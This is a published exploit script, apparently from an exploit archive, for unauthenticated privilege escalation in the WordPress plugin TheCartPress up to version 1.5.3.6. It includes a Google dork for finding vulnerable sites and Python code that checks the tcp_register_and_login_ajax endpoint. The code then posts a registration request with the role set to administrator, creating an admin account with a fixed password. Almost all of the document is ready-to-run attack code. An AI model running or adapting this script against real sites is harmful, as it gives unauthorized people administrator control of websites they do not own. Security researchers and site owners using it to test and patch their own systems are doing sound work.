WordPress Plugin TheCartPress 1.5.3.6 – Privilege Escalation (Unauthenticated)
# Exploit Title: Wordpress Plugin TheCartPress 1.5.3.6 - Privilege Escalation (Unauthenticated) # Google Dork: inurl:/wp-content/plugins/thecartpress/ # Date: 04/10/2021 # Exploit Author: spacehen # Vendor Homepage: https://wordpress.org/plugin/thecartpress # Version: <= 1.5.3.6 # Tested on: Ubuntu 20.04.1 import os.path from os import path import json import requests; import sys def print_banner(): print("TheCartPress <= 1.5.3.6 - Unauthenticated Privilege Escalation") print("Author -> space_hen (www.github.com/spacehen)") def print_usage(): print("Usage: python3 exploit.py [target url]") print("Ex: python3 exploit.py https://example.com") def vuln_check(uri): response = requests.get(uri) raw = response.text if ("User name is required" in raw): return True; else: return False; def main(): print_banner() if(len(sys.argv) != 2): print_usage(); sys.exit(1); base = sys.argv[1] ajax_action = 'tcp_register_and_login_ajax' admin = '/wp-admin/admin-ajax.php'; uri = base + admin + '?action=' + ajax_action ; check = vuln_check(uri); if(check == False): print("(*) Target not vulnerable!"); sys.exit(1) data = { "tcp_new_user_name" : "admin_02", "tcp_new_user_pass" : "admin1234", "tcp_repeat_user_pass" : "admin1234", "tcp_new_user_email" : "test@test.com", "tcp_role" : "administrator" } print("Inserting admin..."); response = requests.post(uri, data=data ) if (response.text == "\"\""): print("Success!") print("Now login at /wp-admin/") else: print(response.text) main(); |